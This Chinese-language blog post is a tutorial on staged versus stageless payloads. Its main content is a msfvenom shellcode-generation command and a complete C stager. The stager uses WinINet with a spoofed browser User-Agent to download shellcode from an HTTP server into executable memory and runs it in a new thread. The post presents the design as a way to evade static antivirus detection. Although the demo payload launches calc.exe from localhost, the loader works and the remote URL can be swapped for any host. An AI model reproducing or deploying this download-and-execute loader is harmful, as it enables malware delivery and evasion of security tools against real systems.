

一体式载荷(stageless payload)#
我之前文章中编写的例子都是属于一体式载荷。载荷的所有功能代码(例如完整的Meterpreter或Cobalt Strike Beacon)被打包在一个单独的文件或Shellcode中一次性发送给目标。相对来说体积更大,因为包含了完整的功能,很容易被静态查杀。
分段式载荷(staged payload)#
将载荷拆为两部分。
第一阶段(stage 0/stager):通常体积很小很精简,唯一的功能就是从远端加载二阶段载荷。
第二阶段(stage 1):包含实际功能的的代码片段。
第一阶段的载荷因为体积小,也不包含恶意API,相对较容易绕过静态查杀。因为体积小也更容易适用于多种内存受限的场合,如缓冲区溢出。
实现分段式载荷#
准备工作#
# 生成一个64位的计算器Shellcode,并保存为原始二进制文件
msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f raw -o calc.bin EXITFUNC=thread
# 在存放calc.bin的目录下执行
python -m http.server 8000
shell理解实现原理#
关键API#
- InternetOpenW ↗ - 初始化 WinINet 库,获取一个会话句柄,这是所有网络操作的起点。
- InternetOpenUrlW ↗ - 打开指定的 URL,并返回一个可以用于读取远程资源的句柄。
- HttpQueryInfoW ↗ - 查询 HTTP 响应头信息。我们将用它来获取载荷的实际大小(Content-Length),以精确地分配内存。
- InternetReadFile ↗ - 从 InternetOpenUrlW 返回的句柄中读取数据,也就是下载我们的 Payload。
- InternetCloseHandle ↗ - 任务完成后,释放所有打开的 WinINet 句柄。
动手实现#
stager.c
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <wchar.h> // 引入宽字节I/O函数所需的头文件 (wprintf)
#pragma comment(lib, "wininet.lib")
int main() {
// 变量声明 (使用宽字节类型)
HINTERNET hInternet = NULL;
HINTERNET hConnect = NULL;
// 使用LPCWSTR (Long Pointer to Constant Wide String) 和 L"" 宽字符串字面量
LPCWSTR szUrl = L"http://localhost:8000/calc.bin";
LPVOID pShellcode = NULL;
HANDLE hThread = NULL;
DWORD dwBytesRead = 0;
DWORD dwContentLength = 0;
DWORD dwContentLengthSize = sizeof(dwContentLength);
DWORD dwStatusCode = 0;
DWORD dwStatusCodeSize = sizeof(dwStatusCode);
// 通过WinINet下载Shellcode (使用宽字节API)
// InternetOpenW: 初始化应用程序对WinINet库的使用。
hInternet = InternetOpenW(
L"Mozilla/5.0", // - lpszAgent: 指定User-Agent字符串。使用一个常见的浏览器UA,是基本的流量伪装技巧。
INTERNET_OPEN_TYPE_PRECONFIG, // - dwAccessType: 指定WinINet库的访问方式。INTERNET_OPEN_TYPE_PRECONFIG表示使用默认的配置。
NULL, NULL, 0);
if (hInternet == NULL) {
fwprintf(stderr, L"InternetOpenW failed with error: %lu\n", GetLastError());
return 1;
}
// 使用 InternetOpenUrlW 打开Url句柄
hConnect = InternetOpenUrlW(hInternet, szUrl, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE, 0);
if (hConnect == NULL) {
fwprintf(stderr, L"InternetOpenUrlW failed with error: %lu\n", GetLastError());
InternetCloseHandle(hInternet);
return 1;
}
// 检查HTTP状态码 (HttpQueryInfoW)
// 注意:虽然这个API有W版本,但由于查询的是数字而非字符串,A/W版本在此处行为相同
if (!HttpQueryInfoW(hConnect, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwStatusCode, &dwStatusCodeSize, NULL)) {
fwprintf(stderr, L"HttpQueryInfoW (status code) failed with error: %lu\n", GetLastError());
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
if (dwStatusCode != HTTP_STATUS_OK) { // HTTP_STATUS_OK is 200
fwprintf(stderr, L"Server returned non-200 status code: %lu\n", dwStatusCode);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
wprintf(L"Server returned 200 OK.\n");
// 查询内容长度 (HttpQueryInfoW)
if (!HttpQueryInfoW(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &dwContentLength, &dwContentLengthSize, NULL) || dwContentLength == 0) {
fwprintf(stderr, L"HttpQueryInfoW (content length) failed or content is empty. Error: %lu\n", GetLastError());
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
wprintf(L"Shellcode size: %lu bytes.\n", dwContentLength);
// 分配内存
pShellcode = VirtualAlloc(NULL, dwContentLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pShellcode == NULL) {
fwprintf(stderr, L"VirtualAlloc failed with error: %lu\n", GetLastError());
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
wprintf(L"Executable memory allocated at: %p\n", pShellcode);
// 读取Shellcode
if (!InternetReadFile(hConnect, pShellcode, dwContentLength, &dwBytesRead) || dwBytesRead != dwContentLength) {
fwprintf(stderr, L"InternetReadFile failed or did not read all bytes. Error: %lu\n", GetLastError());
VirtualFree(pShellcode, 0, MEM_RELEASE);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
wprintf(L"Shellcode downloaded successfully.\n");
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
// 执行Shellcode
wprintf(L"Executing shellcode...\n");
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, NULL);
if (hThread == NULL) {
fwprintf(stderr, L"CreateThread failed with error: %lu\n", GetLastError());
VirtualFree(pShellcode, 0, MEM_RELEASE);
return 1;
}
WaitForSingleObject(hThread, 2000);
wprintf(L"Shellcode execution finished.\n");
// 清理
CloseHandle(hThread);
VirtualFree(pShellcode, 0, MEM_RELEASE);
return 0;
}
c执行效果如下